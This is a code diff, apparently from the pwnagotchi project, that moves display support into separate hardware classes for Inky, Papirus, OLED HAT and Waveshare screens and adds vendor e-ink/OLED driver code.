if self._enabled:
self._init_display()
else:
self.on_render(self._on_view_rendered)
logging.warning("display module is disabled")
self.init_display()
if self._video_enabled:
_thread.start_new_thread(self._http_serve, ())
@@ -117,115 +108,34 @@ class Display(View):
else:
logging.info("could not get ip of usb0, video server not starting")
def _is_inky(self):
return self._display_type in ('inkyphat', 'inky')
def is_inky(self):
return self._implementation.name == 'inky'
def _is_papirus(self):
return self._display_type in ('papirus', 'papi')
def is_papirus(self):
return self._implementation.name == 'papirus'
def _is_waveshare_v1(self):
return self._display_type in ('waveshare_1', 'ws_1', 'waveshare1', 'ws1')
def is_waveshare_v1(self):
return self._implementation.name == 'waveshare_1'
def _is_waveshare_v2(self):
return self._display_type in ('waveshare_2', 'ws_2', 'waveshare2', 'ws2')
def is_waveshare_v2(self):
return self._implementation.name == 'waveshare_2'
def _is_waveshare(self):
return self._is_waveshare_v1() or self._is_waveshare_v2()
def is_oledhat(self):
return self._implementation.name == 'oledhat'
def _init_display(self):
if self._is_inky():
logging.info("initializing inky display")
from inky import InkyPHAT
self._display = InkyPHAT(self._display_color)
self._display.set_border(InkyPHAT.BLACK)
self._render_cb = self._inky_render
elif self._is_papirus():
logging.info("initializing papirus display")
from pwnagotchi.ui.papirus.epd import EPD
os.environ['EPD_SIZE'] = '2.0'
self._display = EPD()
self._display.clear()
self._render_cb = self._papirus_render
elif self._is_waveshare_v1():
logging.info("initializing waveshare v1 display")
from pwnagotchi.ui.waveshare.v1.epd2in13 import EPD
self._display = EPD()
self._display.init(self._display.lut_full_update)
self._display.Clear(0xFF)
self._display.init(self._display.lut_partial_update)
self._render_cb = self._waveshare_render
elif self._is_waveshare_v2():
logging.info("initializing waveshare v2 display")
from pwnagotchi.ui.waveshare.v2.waveshare import EPD
self._display = EPD()
self._display.init(self._display.FULL_UPDATE)
self._display.Clear(WHITE)
self._display.init(self._display.PART_UPDATE)
self._render_cb = self._waveshare_render
def is_waveshare_any(self):
return self.is_waveshare_v1() or self.is_waveshare_v2()
def init_display(self):
if self._enabled:
self._implementation.initialize()
plugins.on('display_setup', self._implementation)
else:
logging.critical("unknown display type %s" % self._display_type)
plugins.on('display_setup', self._display)
logging.warning("display module is disabled")
self.on_render(self._on_view_rendered)
def clear(self):
if self._display is None:
logging.error("no display object created")
elif self._is_inky():
self._display.Clear()
elif self._is_papirus():
self._display.clear()
elif self._is_waveshare():
self._display.Clear(WHITE)
else:
logging.critical("unknown display type %s" % self._display_type)
def _inky_render(self):
if self._display_color != 'mono':
display_colors = 3
else:
display_colors = 2
img_buffer = self._canvas.convert('RGB').convert('P', palette=1, colors=display_colors)
if self._display_color == 'red':
img_buffer.putpalette([
255, 255, 255, # index 0 is white
0, 0, 0, # index 1 is black
255, 0, 0 # index 2 is red
])
elif self._display_color == 'yellow':
img_buffer.putpalette([
255, 255, 255, # index 0 is white
0, 0, 0, # index 1 is black
255, 255, 0 # index 2 is yellow
])
else:
img_buffer.putpalette([
255, 255, 255, # index 0 is white
0, 0, 0 # index 1 is black
])
self._display.set_image(img_buffer)
try:
self._display.show()
except:
print("")
def _papirus_render(self):
self._display.display(self._canvas)
self._display.partial_update()
def _waveshare_render(self):
buf = self._display.getbuffer(self._canvas)
if self._is_waveshare_v1():
self._display.display(buf)
elif self._is_waveshare_v2():
self._display.displayPartial(buf)
self._implementation.clear()
def image(self):
img = None
@@ -235,8 +145,7 @@ class Display(View):
def _on_view_rendered(self, img):
VideoHandler.render(img)
if self._enabled:
self._canvas = (img if self._rotation == 0 else img.rotate(self._rotation))
if self._render_cb is not None:
self._render_cb()
if self._implementation is not None:
self._implementation.render(self._canvas)

View File

@@ -1,11 +1,11 @@
LOOK_R = '(⌐■_■)'
LOOK_L = '(■_■¬)'
LOOK_R = '( ⚆_⚆)'
LOOK_L = '(☉_☉ )'
SLEEP = '(⇀‿‿↼)'
SLEEP2 = '(≖‿‿≖)'
AWAKE = '(◕‿‿◕)'
BORED = '(-__-)'
INTENSE = '(°▃▃°)'
COOL = '(⊙☁◉┐)'
COOL = '(⌐■_■)'
HAPPY = '(•‿‿•)'
EXCITED = '(ᵔ◡◡ᵔ)'
MOTIVATED = '(☼‿‿☼)'

View File

@@ -4,7 +4,9 @@ PATH = '/usr/share/fonts/truetype/dejavu/DejaVuSansMono'
Bold = ImageFont.truetype("%s-Bold.ttf" % PATH, 10)
BoldSmall = ImageFont.truetype("%s-Bold.ttf" % PATH, 8)
BoldBig = ImageFont.truetype("%s-Bold.ttf" % PATH, 25)
Medium = ImageFont.truetype("%s.ttf" % PATH, 10)
Small = ImageFont.truetype("%s.ttf" % PATH, 9)
Huge = ImageFont.truetype("%s-Bold.ttf" % PATH, 25)

View File

@@ -0,0 +1,23 @@
from pwnagotchi.ui.hw.inky import Inky
from pwnagotchi.ui.hw.papirus import Papirus
from pwnagotchi.ui.hw.oledhat import OledHat
from pwnagotchi.ui.hw.waveshare1 import WaveshareV1
from pwnagotchi.ui.hw.waveshare2 import WaveshareV2
def display_for(config):
# config has been normalized already in utils.load_config
if config['ui']['display']['type'] == 'inky':
return Inky(config)
elif config['ui']['display']['type'] == 'papirus':
return Papirus(config)
if config['ui']['display']['type'] == 'oledhat':
return OledHat(config)
elif config['ui']['display']['type'] == 'waveshare_1':
return WaveshareV1(config)
elif config['ui']['display']['type'] == 'waveshare_2':
return WaveshareV2(config)

40
pwnagotchi/ui/hw/base.py Normal file
View File

@@ -0,0 +1,40 @@
import pwnagotchi.ui.fonts as fonts
class DisplayImpl(object):
def __init__(self, config, name):
self.name = name
self.config = config['ui']['display']
self._layout = {
'width': 0,
'height': 0,
'face': (0, 0),
'name': (0, 0),
'channel': (0, 0),
'aps': (0, 0),
'uptime': (0, 0),
'line1': (0, 0),
'line2': (0, 0),
'friend_face': (0, 0),
'friend_name': (0, 0),
'shakes': (0, 0),
'mode': (0, 0),
# status is special :D
'status': {
'pos': (0, 0),
'font': fonts.Medium,
'max': 20
}
}
def layout(self):
raise NotImplementedError
def initialize(self):
raise NotImplementedError
def render(self, canvas):
raise NotImplementedError
def clear(self):
raise NotImplementedError

72
pwnagotchi/ui/hw/inky.py Normal file
View File

@@ -0,0 +1,72 @@
import logging
import pwnagotchi.ui.fonts as fonts
from pwnagotchi.ui.hw.base import DisplayImpl
class Inky(DisplayImpl):
def __init__(self, config):
super(Inky, self).__init__(config, 'inky')
self._display = None
def layout(self):
fonts.setup(10, 8, 10, 28)
self._layout['width'] = 212
self._layout['height'] = 104
self._layout['face'] = (0, 37)
self._layout['name'] = (5, 18)
self._layout['channel'] = (0, 0)
self._layout['aps'] = (25, 0)
self._layout['uptime'] = (147, 0)
self._layout['line1'] = [0, 12, 212, 12]
self._layout['line2'] = [0, 92, 212, 92]
self._layout['friend_face'] = (0, 76)
self._layout['friend_name'] = (40, 78)
self._layout['shakes'] = (0, 93)
self._layout['mode'] = (187, 93)
self._layout['status'] = {
'pos': (102, 18),
'font': fonts.Small,
'max': 20
}
return self._layout
def initialize(self):
logging.info("initializing inky display")
from pwnagotchi.ui.hw.libs.inkyphat.inkyphatfast import InkyPHATFast
self._display = InkyPHATFast(self.config['color'])
self._display.set_border(InkyPHATFast.BLACK)
def render(self, canvas):
if self.config['color'] != 'mono':
display_colors = 3
else:
display_colors = 2
img_buffer = canvas.convert('RGB').convert('P', palette=1, colors=display_colors)
if self.config['color'] == 'red':
img_buffer.putpalette([
255, 255, 255, # index 0 is white
0, 0, 0, # index 1 is black
255, 0, 0 # index 2 is red
])
elif self.config['color'] == 'yellow':
img_buffer.putpalette([
255, 255, 255, # index 0 is white
0, 0, 0, # index 1 is black
255, 255, 0 # index 2 is yellow
])
else:
img_buffer.putpalette([
255, 255, 255, # index 0 is white
0, 0, 0 # index 1 is black
])
self._display.set_image(img_buffer)
try:
self._display.show()
except:
logging.exception("error while rendering on inky")
def clear(self):
self._display.Clear()

View File

@@ -0,0 +1,24 @@
from inky.inky import Inky, CS0_PIN, DC_PIN, RESET_PIN, BUSY_PIN
class InkyFast(Inky):
def __init__(self, resolution=(400, 300), colour='black', cs_pin=CS0_PIN, dc_pin=DC_PIN, reset_pin=RESET_PIN,
busy_pin=BUSY_PIN, h_flip=False, v_flip=False):
super(InkyFast, self).__init__(resolution, colour, cs_pin, dc_pin, reset_pin, busy_pin, h_flip, v_flip)
self._luts['black'] = [
0b01001000, 0b10100000, 0b00010000, 0b00010000, 0b00010011, 0b00000000, 0b00000000,
0b01001000, 0b10100000, 0b10000000, 0b00000000, 0b00000011, 0b00000000, 0b00000000,
0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000,
0b01001000, 0b10100101, 0b00000000, 0b10111011, 0b00000000, 0b00000000, 0b00000000,
0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000, 0b00000000,
# The following timings have been reduced to avoid the fade to black
0x00, 0x00, 0x00, 0x00, 0x00,
0x10, 0x04, 0x04, 0x04, 0x04,
0x04, 0x08, 0x08, 0x10, 0x10,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00,
]

View File

@@ -0,0 +1,27 @@
"""Inky pHAT e-Ink Display Driver."""
from . import inkyfast
class InkyPHATFast(inkyfast.InkyFast):
"""Inky wHAT e-Ink Display Driver."""
WIDTH = 212
HEIGHT = 104
WHITE = 0
BLACK = 1
RED = 2
YELLOW = 2
def __init__(self, colour):
"""Initialise an Inky pHAT Display.
:param colour: one of red, black or yellow, default: black
"""
inkyfast.InkyFast.__init__(
self,
resolution=(self.WIDTH, self.HEIGHT),
colour=colour,
h_flip=False,
v_flip=False)

View File

@@ -15,7 +15,7 @@
from PIL import Image
from PIL import ImageOps
from pwnagotchi.ui.papirus.lm75b import LM75B
from pwnagotchi.ui.hw.libs.papirus import LM75B
import re
import os
import sys

View File

@@ -0,0 +1,135 @@
from . import config
import RPi.GPIO as GPIO
import time
Device_SPI = config.Device_SPI
Device_I2C = config.Device_I2C
LCD_WIDTH = 128 #LCD width
LCD_HEIGHT = 64 #LCD height
class SH1106(object):
def __init__(self):
self.width = LCD_WIDTH
self.height = LCD_HEIGHT
#Initialize DC RST pin
self._dc = config.DC_PIN
self._rst = config.RST_PIN
self._bl = config.BL_PIN
self.Device = config.Device
""" Write register address and data """
def command(self, cmd):
if(self.Device == Device_SPI):
GPIO.output(self._dc, GPIO.LOW)
config.spi_writebyte([cmd])
else:
config.i2c_writebyte(0x00, cmd)
# def data(self, val):
# GPIO.output(self._dc, GPIO.HIGH)
# config.spi_writebyte([val])
def Init(self):
if (config.module_init() != 0):
return -1
"""Initialize dispaly"""
self.reset()
self.command(0xAE);#--turn off oled panel
self.command(0x02);#---set low column address
self.command(0x10);#---set high column address
self.command(0x40);#--set start line address Set Mapping RAM Display Start Line (0x00~0x3F)
self.command(0x81);#--set contrast control register
self.command(0xA0);#--Set SEG/Column Mapping
self.command(0xC0);#Set COM/Row Scan Direction
self.command(0xA6);#--set normal display
self.command(0xA8);#--set multiplex ratio(1 to 64)
self.command(0x3F);#--1/64 duty
self.command(0xD3);#-set display offset Shift Mapping RAM Counter (0x00~0x3F)
self.command(0x00);#-not offset
self.command(0xd5);#--set display clock divide ratio/oscillator frequency
self.command(0x80);#--set divide ratio, Set Clock as 100 Frames/Sec
self.command(0xD9);#--set pre-charge period
self.command(0xF1);#Set Pre-Charge as 15 Clocks & Discharge as 1 Clock
self.command(0xDA);#--set com pins hardware configuration
self.command(0x12);
self.command(0xDB);#--set vcomh
self.command(0x40);#Set VCOM Deselect Level
self.command(0x20);#-Set Page Addressing Mode (0x00/0x01/0x02)
self.command(0x02);#
self.command(0xA4);# Disable Entire Display On (0xa4/0xa5)
self.command(0xA6);# Disable Inverse Display On (0xa6/a7)
time.sleep(0.1)
self.command(0xAF);#--turn on oled panel
def reset(self):
"""Reset the display"""
GPIO.output(self._rst,GPIO.HIGH)
time.sleep(0.1)
GPIO.output(self._rst,GPIO.LOW)
time.sleep(0.1)
GPIO.output(self._rst,GPIO.HIGH)
time.sleep(0.1)
def getbuffer(self, image):
# print "bufsiz = ",(self.width/8) * self.height
buf = [0xFF] * ((self.width//8) * self.height)
image_monocolor = image.convert('1')
imwidth, imheight = image_monocolor.size
pixels = image_monocolor.load()
# print "imwidth = %d, imheight = %d",imwidth,imheight
if(imwidth == self.width and imheight == self.height):
#print ("Vertical")
for y in range(imheight):
for x in range(imwidth):
# Set the bits for the column of pixels at the current position.
if pixels[x, y] == 0:
buf[x + (y // 8) * self.width] &= ~(1 << (y % 8))
# print x,y,x + (y * self.width)/8,buf[(x + y * self.width) / 8]
elif(imwidth == self.height and imheight == self.width):
#print ("Vertical")
for y in range(imheight):
for x in range(imwidth):
newx = y
newy = self.height - x - 1
if pixels[x, y] == 0:
buf[(newx + (newy // 8 )*self.width) ] &= ~(1 << (y % 8))
return buf
# def ShowImage(self,Image):
# self.SetWindows()
# GPIO.output(self._dc, GPIO.HIGH);
# for i in range(0,self.width * self.height/8):
# config.spi_writebyte([~Image[i]])
def ShowImage(self, pBuf):
for page in range(0,8):
# set page address #
self.command(0xB0 + page);
# set low column address #
self.command(0x02);
# set high column address #
self.command(0x10);
# write data #
time.sleep(0.01)
if(self.Device == Device_SPI):
GPIO.output(self._dc, GPIO.HIGH);
for i in range(0,self.width):#for(int i=0;i<self.width; i++)
if(self.Device == Device_SPI):
config.spi_writebyte([~pBuf[i + self.width * page]]);
else :
config.i2c_writebyte(0x40, ~pBuf[i + self.width * page])
def clear(self):
"""Clear contents of image buffer"""
_buffer = [0xff]*(self.width * self.height//8)
self.ShowImage(_buffer)
#print "%d",_buffer[i:i+4096]

View File

@@ -0,0 +1,111 @@
# /*****************************************************************************
# * | File : config.py
# * | Author : Waveshare team
# * | Function : Hardware underlying interface,for Jetson nano
# * | Info :
# *----------------
# * | This version: V1.0
# * | Date : 2019-06-06
# * | Info :
# ******************************************************************************/
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documnetation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
import RPi.GPIO as GPIO
import time
from smbus import SMBus
import spidev
import ctypes
# import spidev
# Pin definition
RST_PIN = 25
DC_PIN = 24
CS_PIN = 8
BL_PIN = 18
BUSY_PIN = 18
Device_SPI = 1
Device_I2C = 0
if(Device_SPI == 1):
Device = Device_SPI
spi = spidev.SpiDev(0, 0)
else :
Device = Device_I2C
address = 0x3C
bus = SMBus(1)
def digital_write(pin, value):
GPIO.output(pin, value)
def digital_read(pin):
return GPIO.input(BUSY_PIN)
def delay_ms(delaytime):
time.sleep(delaytime / 1000.0)
def spi_writebyte(data):
# SPI.writebytes(data)
spi.writebytes([data[0]])
def i2c_writebyte(reg, value):
bus.write_byte_data(address, reg, value)
# time.sleep(0.01)
def module_init():
# print("module_init")
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(RST_PIN, GPIO.OUT)
GPIO.setup(DC_PIN, GPIO.OUT)
GPIO.setup(CS_PIN, GPIO.OUT)
GPIO.setup(BL_PIN, GPIO.OUT)
# SPI.max_speed_hz = 2000000
# SPI.mode = 0b00
# i2c_writebyte(0xff,0xff)
if(Device == Device_SPI):
# spi.SYSFS_software_spi_begin()
# spi.SYSFS_software_spi_setDataMode(0);
# spi.SYSFS_software_spi_setClockDivider(1);
spi.max_speed_hz = 2000000
spi.mode = 0b00
GPIO.output(CS_PIN, 0)
GPIO.output(BL_PIN, 1)
GPIO.output(DC_PIN, 0)
return 0
def module_exit():
if(Device == Device_SPI):
spi.SYSFS_software_spi_end()
else :
bus.close()
GPIO.output(RST_PIN, 0)
GPIO.output(DC_PIN, 0)
### END OF FILE ###

View File

@@ -0,0 +1,27 @@
from . import SH1106
from . import config
# Display resolution
EPD_WIDTH = 64
EPD_HEIGHT = 128
disp = SH1106.SH1106()
class EPD(object):
def __init__(self):
self.reset_pin = config.RST_PIN
self.dc_pin = config.DC_PIN
self.busy_pin = config.BUSY_PIN
self.cs_pin = config.CS_PIN
self.width = EPD_WIDTH
self.height = EPD_HEIGHT
def init(self):
disp.Init()
def Clear(self):
disp.clear()
def display(self, image):
disp.ShowImage(disp.getbuffer(image))

View File

@@ -30,7 +30,6 @@
import logging
from . import epdconfig
import numpy as np
# Display resolution
EPD_WIDTH = 122

View File

@@ -0,0 +1,163 @@
# *****************************************************************************
# * | File : epd2in13bc.py
# * | Author : Waveshare team
# * | Function : Electronic paper driver
# * | Info :
# *----------------
# * | This version: V4.0
# * | Date : 2019-06-20
# # | Info : python demo
# -----------------------------------------------------------------------------
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documnetation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS OR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
from . import epdconfig
import RPi.GPIO as GPIO
# import numpy as np
# Display resolution
EPD_WIDTH = 104
EPD_HEIGHT = 212
class EPD:
def __init__(self):
self.reset_pin = epdconfig.RST_PIN
self.dc_pin = epdconfig.DC_PIN
self.busy_pin = epdconfig.BUSY_PIN
self.cs_pin = epdconfig.CS_PIN
self.width = EPD_WIDTH
self.height = EPD_HEIGHT
# Hardware reset
def reset(self):
epdconfig.digital_write(self.reset_pin, GPIO.HIGH)
epdconfig.delay_ms(200)
epdconfig.digital_write(self.reset_pin, GPIO.LOW) # module reset
epdconfig.delay_ms(200)
epdconfig.digital_write(self.reset_pin, GPIO.HIGH)
epdconfig.delay_ms(200)
def send_command(self, command):
epdconfig.digital_write(self.dc_pin, GPIO.LOW)
epdconfig.digital_write(self.cs_pin, GPIO.LOW)
epdconfig.spi_writebyte([command])
epdconfig.digital_write(self.cs_pin, GPIO.HIGH)
def send_data(self, data):
epdconfig.digital_write(self.dc_pin, GPIO.HIGH)
epdconfig.digital_write(self.cs_pin, GPIO.LOW)
epdconfig.spi_writebyte([data])
epdconfig.digital_write(self.cs_pin, GPIO.HIGH)
def ReadBusy(self):
while(epdconfig.digital_read(self.busy_pin) == 0): # 0: idle, 1: busy
epdconfig.delay_ms(100)
def init(self):
if (epdconfig.module_init() != 0):
return -1
# EPD hardware init start
self.reset()
self.send_command(0x06) # BOOSTER_SOFT_START
self.send_data(0x17)
self.send_data(0x17)
self.send_data(0x17)
self.send_command(0x04) # POWER_ON
self.ReadBusy()
self.send_command(0x00) # PANEL_SETTING
self.send_data(0x8F)
self.send_command(0x50) # VCOM_AND_DATA_INTERVAL_SETTING
self.send_data(0xF0)
self.send_command(0x61) # RESOLUTION_SETTING
self.send_data(self.width & 0xff)
self.send_data(self.height >> 8)
self.send_data(self.height & 0xff)
return 0
def getbuffer(self, image):
buf = [0xFF] * (int(self.width/8) * self.height)
image_monocolor = image.convert('1')
imwidth, imheight = image_monocolor.size
pixels = image_monocolor.load()
if(imwidth == self.width and imheight == self.height):
for y in range(imheight):
for x in range(imwidth):
# Set the bits for the column of pixels at the current position.
if pixels[x, y] == 0:
buf[int((x + y * self.width) / 8)] &= ~(0x80 >> (x % 8))
elif(imwidth == self.height and imheight == self.width):
for y in range(imheight):
for x in range(imwidth):
newx = y
newy = self.height - x - 1
if pixels[x, y] == 0:
buf[int((newx + newy*self.width) / 8)] &= ~(0x80 >> (y % 8))
return buf
def displayBlack(self, imageblack):
self.send_command(0x10)
for i in range(0, int(self.width * self.height / 8)):
self.send_data(imageblack[i])
self.send_command(0x92)
self.send_command(0x12) # REFRESH
self.ReadBusy()
def display(self, imageblack, imagecolor):
self.send_command(0x10)
for i in range(0, int(self.width * self.height / 8)):
self.send_data(imageblack[i])
self.send_command(0x92)
self.send_command(0x13)
for i in range(0, int(self.width * self.height / 8)):
self.send_data(imagecolor[i])
self.send_command(0x92)
self.send_command(0x12) # REFRESH
self.ReadBusy()
def Clear(self):
self.send_command(0x10)
for i in range(0, int(self.width * self.height / 8)):
self.send_data(0xFF)
self.send_command(0x92)
self.send_command(0x13)
for i in range(0, int(self.width * self.height / 8)):
self.send_data(0xFF)
self.send_command(0x92)
self.send_command(0x12) # REFRESH
self.ReadBusy()
def sleep(self):
self.send_command(0x02) # POWER_OFF
self.ReadBusy()
self.send_command(0x07) # DEEP_SLEEP
self.send_data(0xA5) # check code
# epdconfig.module_exit()
### END OF FILE ###

View File

@@ -0,0 +1,45 @@
import logging
import pwnagotchi.ui.fonts as fonts
from pwnagotchi.ui.hw.base import DisplayImpl
class OledHat(DisplayImpl):
def __init__(self, config):
super(OledHat, self).__init__(config, 'oledhat')
self._display = None
def layout(self):
fonts.setup(8, 8, 8, 8)
self._layout['width'] = 128
self._layout['height'] = 64
self._layout['face'] = (0, 32)
self._layout['name'] = (0, 10)
self._layout['channel'] = (0, 0)
self._layout['aps'] = (25, 0)
self._layout['uptime'] = (65, 0)
self._layout['line1'] = [0, 9, 128, 9]
self._layout['line2'] = [0, 53, 128, 53]
self._layout['friend_face'] = (0, 41)
self._layout['friend_name'] = (40, 43)
self._layout['shakes'] = (0, 53)
self._layout['mode'] = (103, 10)
self._layout['status'] = {
'pos': (30, 18),
'font': fonts.Small,
'max': 18
}
return self._layout
def initialize(self):
logging.info("initializing oledhat display")
from pwnagotchi.ui.hw.libs.waveshare.oledhat.epd import EPD
self._display = EPD()
self._display.init()
self._display.Clear()
def render(self, canvas):
self._display.display(canvas)
def clear(self):
self._display.clear()

View File

@@ -0,0 +1,47 @@
import logging
import os
import pwnagotchi.ui.fonts as fonts
from pwnagotchi.ui.hw.base import DisplayImpl
class Papirus(DisplayImpl):
def __init__(self, config):
super(Papirus, self).__init__(config, 'papirus')
self._display = None
def layout(self):
fonts.setup(10, 8, 10, 23)
self._layout['width'] = 200
self._layout['height'] = 96
self._layout['face'] = (0, 24)
self._layout['name'] = (5, 14)
self._layout['channel'] = (0, 0)
self._layout['aps'] = (25, 0)
self._layout['uptime'] = (135, 0)
self._layout['line1'] = [0, 11, 200, 11]
self._layout['line2'] = [0, 85, 200, 85]
self._layout['friend_face'] = (0, 69)
self._layout['friend_name'] = (40, 71)
self._layout['shakes'] = (0, 86)
self._layout['mode'] = (175, 86)
self._layout['status'] = {
'pos': (85, 14),
'font': fonts.Medium,
'max': 16
}
return self._layout
def initialize(self):
logging.info("initializing papirus display")
from pwnagotchi.ui.hw.libs.papirus.epd import EPD
os.environ['EPD_SIZE'] = '2.0'
self._display = EPD()
self._display.clear()
def render(self, canvas):
self._display.display(canvas)
self._display.partial_update()
def clear(self):
self._display.clear()

View File

@@ -0,0 +1,86 @@
import logging
import pwnagotchi.ui.fonts as fonts
from pwnagotchi.ui.hw.base import DisplayImpl
class WaveshareV1(DisplayImpl):
def __init__(self, config):
super(WaveshareV1, self).__init__(config, 'waveshare_1')
self._display = None
def layout(self):
if self.config['color'] == 'black':
fonts.setup(10, 9, 10, 35)
self._layout['width'] = 250
self._layout['height'] = 122
self._layout['face'] = (0, 40)
self._layout['name'] = (5, 20)
self._layout['channel'] = (0, 0)
self._layout['aps'] = (28, 0)
self._layout['uptime'] = (185, 0)
self._layout['line1'] = [0, 14, 250, 14]
self._layout['line2'] = [0, 108, 250, 108]
self._layout['friend_face'] = (0, 92)
self._layout['friend_name'] = (40, 94)
self._layout['shakes'] = (0, 109)
self._layout['mode'] = (225, 109)
self._layout['status'] = {
'pos': (125, 20),
'font': fonts.Medium,
'max': 20
}
else:
fonts.setup(10, 8, 10, 25)
self._layout['width'] = 212
self._layout['height'] = 104
self._layout['face'] = (0, 26)
self._layout['name'] = (5, 15)
self._layout['channel'] = (0, 0)
self._layout['aps'] = (28, 0)
self._layout['status'] = (91, 15)
self._layout['uptime'] = (147, 0)
self._layout['line1'] = [0, 12, 212, 12]
self._layout['line2'] = [0, 92, 212, 92]
self._layout['friend_face'] = (0, 76)
self._layout['friend_name'] = (40, 78)
self._layout['shakes'] = (0, 93)
self._layout['mode'] = (187, 93)
self._layout['status'] = {
'pos': (125, 20),
'font': fonts.Medium,
'max': 14
}
return self._layout
def initialize(self):
if self.config['color'] == 'black':
logging.info("initializing waveshare v1 display in monochromatic mode")
from pwnagotchi.ui.hw.libs.waveshare.v1.epd2in13 import EPD
self._display = EPD()
self._display.init(self._display.lut_full_update)
self._display.Clear(0xFF)
self._display.init(self._display.lut_partial_update)
else:
logging.info("initializing waveshare v1 display 3-color mode")
from pwnagotchi.ui.hw.libs.waveshare.v1.epd2in13bc import EPD
self._display = EPD()
self._display.init()
self._display.Clear()
def render(self, canvas):
if self.config['color'] == 'black':
buf = self._display.getbuffer(canvas)
self._display.display(buf)
else:
buf_black = self._display.getbuffer(canvas)
# emptyImage = Image.new('1', (self._display.height, self._display.width), 255)
# buf_color = self._display.getbuffer(emptyImage)
# self._display.display(buf_black,buf_color)
# Custom display function that only handles black
# Was included in epd2in13bc.py
self._display.displayBlack(buf_black)
def clear(self):
self._display.Clear(0xff)

View File

@@ -0,0 +1,69 @@
import logging
import pwnagotchi.ui.fonts as fonts
from pwnagotchi.ui.hw.base import DisplayImpl
class WaveshareV2(DisplayImpl):
def __init__(self, config):
super(WaveshareV2, self).__init__(config, 'waveshare_2')
self._display = None
def layout(self):
if self.config['color'] == 'black':
fonts.setup(10, 9, 10, 35)
self._layout['width'] = 250
self._layout['height'] = 122
self._layout['face'] = (0, 40)
self._layout['name'] = (5, 20)
self._layout['channel'] = (0, 0)
self._layout['aps'] = (28, 0)
self._layout['uptime'] = (185, 0)
self._layout['line1'] = [0, 14, 250, 14]
self._layout['line2'] = [0, 108, 250, 108]
self._layout['friend_face'] = (0, 92)
self._layout['friend_name'] = (40, 94)
self._layout['shakes'] = (0, 109)
self._layout['mode'] = (225, 109)
self._layout['status'] = {
'pos': (125, 20),
'font': fonts.Medium,
'max': 20
}
else:
fonts.setup(10, 8, 10, 25)
self._layout['width'] = 212
self._layout['height'] = 104
self._layout['face'] = (0, 26)
self._layout['name'] = (5, 15)
self._layout['channel'] = (0, 0)
self._layout['aps'] = (28, 0)
self._layout['status'] = (91, 15)
self._layout['uptime'] = (147, 0)
self._layout['line1'] = [0, 12, 212, 12]
self._layout['line2'] = [0, 92, 212, 92]
self._layout['friend_face'] = (0, 76)
self._layout['friend_name'] = (40, 78)
self._layout['shakes'] = (0, 93)
self._layout['mode'] = (187, 93)
self._layout['status'] = {
'pos': (125, 20),
'font': fonts.Medium,
'max': 14
}
return self._layout
def initialize(self):
logging.info("initializing waveshare v2 display")
from pwnagotchi.ui.hw.libs.waveshare.v2.waveshare import EPD
self._display = EPD()
self._display.init(self._display.FULL_UPDATE)
self._display.Clear(0xff)
self._display.init(self._display.PART_UPDATE)
def render(self, canvas):
buf = self._display.getbuffer(canvas)
self._display.displayPartial(buf)
def clear(self):
self._display.Clear(0xff)

View File

@@ -12,6 +12,13 @@ class State(object):
self._state[key] = elem
self._changes[key] = True
def has_element(self, key):
return key in self._state
def remove_element(self, key):
del self._state[key]
self._changes[key] = True
def add_listener(self, key, cb):
with self._lock:
self._listeners[key] = cb

View File

@@ -2,7 +2,7 @@ import _thread
from threading import Lock
import time
import logging
from PIL import Image, ImageDraw
from PIL import ImageDraw
import pwnagotchi.utils as utils
import pwnagotchi.plugins as plugins
@@ -17,46 +17,9 @@ WHITE = 0xff
BLACK = 0x00
ROOT = None
def setup_display_specifics(config):
width = 0
height = 0
face_pos = (0, 0)
name_pos = (0, 0)
status_pos = (0, 0)
if config['ui']['display']['type'] in ('inky', 'inkyphat'):
fonts.setup(10, 8, 10, 25)
width = 212
height = 104
face_pos = (0, int(height / 4))
name_pos = (5, int(height * .15))
status_pos = (int(width / 2) - 15, int(height * .15))
elif config['ui']['display']['type'] in ('papirus', 'papi'):
fonts.setup(10, 8, 10, 23)
width = 200
height = 96
face_pos = (0, int(height / 4))
name_pos = (5, int(height * .15))
status_pos = (int(width / 2) - 15, int(height * .15))
elif config['ui']['display']['type'] in ('ws_1', 'ws1', 'waveshare_1', 'waveshare1',
'ws_2', 'ws2', 'waveshare_2', 'waveshare2'):
fonts.setup(10, 9, 10, 35)
width = 250
height = 122
face_pos = (0, 40)
name_pos = (5, 20)
